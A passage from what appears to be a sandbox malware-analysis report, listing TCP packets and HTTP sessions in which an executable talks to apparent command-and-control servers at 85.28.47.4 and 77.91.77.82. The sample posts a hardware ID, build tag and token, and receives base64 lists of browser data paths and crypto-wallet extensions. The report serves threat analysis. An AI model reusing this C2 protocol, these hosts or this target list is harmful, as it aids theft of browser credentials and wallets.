Jul 2, 2024 04:13:50.038017988 CEST	54842	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:50.038180113 CEST	80	54842	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:50.038222075 CEST	54842	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:50.038700104 CEST	54842	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:50.043442965 CEST	80	54842	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:50.254451990 CEST	80	54842	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:50.254508972 CEST	54842	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:50.361619949 CEST	54842	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:50.361952066 CEST	54843	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:50.366698027 CEST	80	54843	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:50.366744995 CEST	80	54842	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:50.366780996 CEST	54843	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:50.366806984 CEST	54842	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:50.366894960 CEST	54843	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:50.371599913 CEST	80	54843	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:51.086327076 CEST	80	54843	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:51.086805105 CEST	54843	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:51.087348938 CEST	54843	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:51.092089891 CEST	80	54843	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:51.308254004 CEST	80	54843	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:51.308365107 CEST	54843	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:51.424014091 CEST	54843	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:51.424324036 CEST	54844	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:51.429116011 CEST	80	54843	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:51.429133892 CEST	80	54844	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:51.429172993 CEST	54843	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:51.429218054 CEST	54844	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:51.429337978 CEST	54844	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:51.434051037 CEST	80	54844	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:52.136758089 CEST	80	54844	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:52.136843920 CEST	54844	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:52.137449026 CEST	54844	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:52.144532919 CEST	80	54844	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:52.357327938 CEST	80	54844	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:52.357414961 CEST	54844	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:52.470875025 CEST	54844	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:52.471193075 CEST	54845	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:52.476088047 CEST	80	54845	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:52.476268053 CEST	54845	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:52.476355076 CEST	80	54844	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:52.476412058 CEST	54844	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:52.476514101 CEST	54845	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:52.481343031 CEST	80	54845	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:53.178345919 CEST	80	54845	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:53.178436995 CEST	54845	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:53.179080963 CEST	54845	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:53.183804035 CEST	80	54845	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:53.402663946 CEST	80	54845	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:53.402714968 CEST	54845	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:53.519490957 CEST	54845	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:53.519793987 CEST	54846	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:53.524537086 CEST	80	54846	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:53.524622917 CEST	54846	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:53.524761915 CEST	54846	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:53.524909019 CEST	80	54845	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:53.525104046 CEST	54845	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:53.529506922 CEST	80	54846	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:54.234169006 CEST	80	54846	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:54.234397888 CEST	54846	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:54.235188007 CEST	54846	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:54.240015030 CEST	80	54846	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:54.450372934 CEST	80	54846	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:54.450485945 CEST	54846	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:54.564986944 CEST	54846	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:54.565382004 CEST	54847	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:54.570187092 CEST	80	54847	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:54.570200920 CEST	80	54846	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:54.570282936 CEST	54846	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:54.570297956 CEST	54847	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:54.570410013 CEST	54847	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:54.575126886 CEST	80	54847	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:55.282747984 CEST	80	54847	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:55.282954931 CEST	54847	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:55.283735037 CEST	54847	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:55.288472891 CEST	80	54847	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:55.506113052 CEST	80	54847	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:55.506239891 CEST	54847	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:55.611649036 CEST	54847	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:55.611996889 CEST	54848	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:55.616760015 CEST	80	54848	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:55.616790056 CEST	80	54847	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:55.616854906 CEST	54848	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:55.616888046 CEST	54847	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:55.617013931 CEST	54848	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:55.621731997 CEST	80	54848	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:56.336205959 CEST	80	54848	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:56.336268902 CEST	54848	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:56.336965084 CEST	54848	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:56.341691971 CEST	80	54848	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:56.560735941 CEST	80	54848	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:56.560818911 CEST	54848	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:56.674016953 CEST	54848	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:56.674386978 CEST	54849	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:56.679146051 CEST	80	54848	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:56.679167032 CEST	80	54849	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:56.679194927 CEST	54848	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:56.679244041 CEST	54849	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:56.679358006 CEST	54849	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:56.684057951 CEST	80	54849	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:57.392265081 CEST	80	54849	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:57.392366886 CEST	54849	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:57.393155098 CEST	54849	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:57.397932053 CEST	80	54849	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:58.434057951 CEST	80	54849	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:58.434145927 CEST	54849	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:58.434153080 CEST	80	54849	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:58.434197903 CEST	54849	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:58.434220076 CEST	80	54849	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:58.434257030 CEST	54849	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:58.551316977 CEST	54849	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:58.551634073 CEST	54850	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:58.556544065 CEST	80	54850	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:58.556658030 CEST	80	54849	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:58.556763887 CEST	54850	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:58.556796074 CEST	54849	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:58.556956053 CEST	54850	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:58.561788082 CEST	80	54850	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:59.243412018 CEST	80	54850	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:59.243501902 CEST	54850	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:59.244271994 CEST	54850	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:59.249006033 CEST	80	54850	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:59.461833954 CEST	80	54850	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:59.464837074 CEST	54850	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:59.596092939 CEST	54850	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:59.596405983 CEST	54851	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:59.601177931 CEST	80	54851	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:59.601294041 CEST	80	54850	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:59.601376057 CEST	54850	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:59.601383924 CEST	54851	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:59.601548910 CEST	54851	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:59.606230974 CEST	80	54851	77.91.77.82	192.168.2.5
Jul 2, 2024 04:14:00.306586027 CEST	80	54851	77.91.77.82	192.168.2.5
Jul 2, 2024 04:14:00.306775093 CEST	54851	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:14:00.307653904 CEST	54851	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:14:00.312410116 CEST	80	54851	77.91.77.82	192.168.2.5
Jul 2, 2024 04:14:00.526451111 CEST	80	54851	77.91.77.82	192.168.2.5
Jul 2, 2024 04:14:00.526515961 CEST	54851	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:14:00.642977953 CEST	54851	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:14:00.643309116 CEST	54852	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:14:00.649331093 CEST	80	54851	77.91.77.82	192.168.2.5
Jul 2, 2024 04:14:00.649346113 CEST	80	54852	77.91.77.82	192.168.2.5
Jul 2, 2024 04:14:00.649527073 CEST	54851	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:14:00.649571896 CEST	54852	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:14:00.649748087 CEST	54852	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:14:00.654894114 CEST	80	54852	77.91.77.82	192.168.2.5
Jul 2, 2024 04:14:01.339026928 CEST	80	54852	77.91.77.82	192.168.2.5
Jul 2, 2024 04:14:01.340809107 CEST	54852	80	192.168.2.5	77.91.77.82

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 2, 2024 04:12:42.399970055 CEST	53	58239	162.159.36.2	192.168.2.5
Jul 2, 2024 04:12:42.892960072 CEST	53	64621	1.1.1.1	192.168.2.5

HTTP Request Dependency Graph

85.28.47.4

77.91.77.81

77.91.77.82

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	85.28.47.4	80	1864	C:\Users\user\Desktop\Wf9qnVcbi8.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:11:56.714247942 CEST	408	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKJDGIEHCAEHIEBFBKKK Host: 85.28.47.4 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 49 45 48 43 41 45 48 49 45 42 46 42 4b 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 35 30 36 38 32 30 43 43 35 33 33 32 36 33 32 34 32 37 36 35 39 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 49 45 48 43 41 45 48 49 45 42 46 42 4b 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6a 6f 6e 79 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 47 49 45 48 43 41 45 48 49 45 42 46 42 4b 4b 4b 2d 2d 0d 0a Data Ascii: ------AKJDGIEHCAEHIEBFBKKKContent-Disposition: form-data; name="hwid"8506820CC5332632427659------AKJDGIEHCAEHIEBFBKKKContent-Disposition: form-data; name="build"jony------AKJDGIEHCAEHIEBFBKKK--
Jul 2, 2024 04:11:57.386518955 CEST	384	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 02:11:57 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 156 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 47 4d 7a 5a 44 4e 6c 4f 54 55 7a 4d 7a 55 35 4e 54 63 79 4d 54 56 6b 5a 6a 4e 69 4e 6a 6b 34 4f 44 49 33 4e 47 55 79 59 54 56 6d 4d 44 6c 6b 4d 6a 55 32 59 57 5a 6a 4d 7a 45 33 5a 54 6c 6c 59 6a 49 79 4f 57 45 77 4e 44 63 7a 5a 6a 64 6c 4e 6a 59 34 4d 44 63 77 4e 6d 55 79 5a 44 45 78 66 47 70 69 5a 48 52 68 61 57 70 76 64 6d 64 38 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 3d Data Ascii: MGMzZDNlOTUzMzU5NTcyMTVkZjNiNjk4ODI3NGUyYTVmMDlkMjU2YWZjMzE3ZTllYjIyOWEwNDczZjdlNjY4MDcwNmUyZDExfGpiZHRhaWpvdmd8ZWltZWhydnpvZC5maWxlfDB8MHwxfDF8MXwxfDF8MXw=
Jul 2, 2024 04:11:57.389200926 CEST	465	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJDGCGHCGHCBFHJJKKJE Host: 85.28.47.4 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 63 33 64 33 65 39 35 33 33 35 39 35 37 32 31 35 64 66 33 62 36 39 38 38 32 37 34 65 32 61 35 66 30 39 64 32 35 36 61 66 63 33 31 37 65 39 65 62 32 32 39 61 30 34 37 33 66 37 65 36 36 38 30 37 30 36 65 32 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 2d 2d 0d 0a Data Ascii: ------JJDGCGHCGHCBFHJJKKJEContent-Disposition: form-data; name="token"0c3d3e95335957215df3b6988274e2a5f09d256afc317e9eb229a0473f7e6680706e2d11------JJDGCGHCGHCBFHJJKKJEContent-Disposition: form-data; name="message"browsers------JJDGCGHCGHCBFHJJKKJE--
Jul 2, 2024 04:11:57.568634987 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 02:11:57 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Jul 2, 2024 04:11:57.568672895 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Jul 2, 2024 04:11:57.569766998 CEST	464	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBFCBGCGIJKJKECAKEGC Host: 85.28.47.4 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 46 43 42 47 43 47 49 4a 4b 4a 4b 45 43 41 4b 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 63 33 64 33 65 39 35 33 33 35 39 35 37 32 31 35 64 66 33 62 36 39 38 38 32 37 34 65 32 61 35 66 30 39 64 32 35 36 61 66 63 33 31 37 65 39 65 62 32 32 39 61 30 34 37 33 66 37 65 36 36 38 30 37 30 36 65 32 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 43 42 47 43 47 49 4a 4b 4a 4b 45 43 41 4b 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 43 42 47 43 47 49 4a 4b 4a 4b 45 43 41 4b 45 47 43 2d 2d 0d 0a Data Ascii: ------DBFCBGCGIJKJKECAKEGCContent-Disposition: form-data; name="token"0c3d3e95335957215df3b6988274e2a5f09d256afc317e9eb229a0473f7e6680706e2d11------DBFCBGCGIJKJKECAKEGCContent-Disposition: form-data; name="message"plugins------DBFCBGCGIJKJKECAKEGC--
Jul 2, 2024 04:11:57.749789000 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 02:11:57 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 5416 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Jul 2, 2024 04:11:57.749816895 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
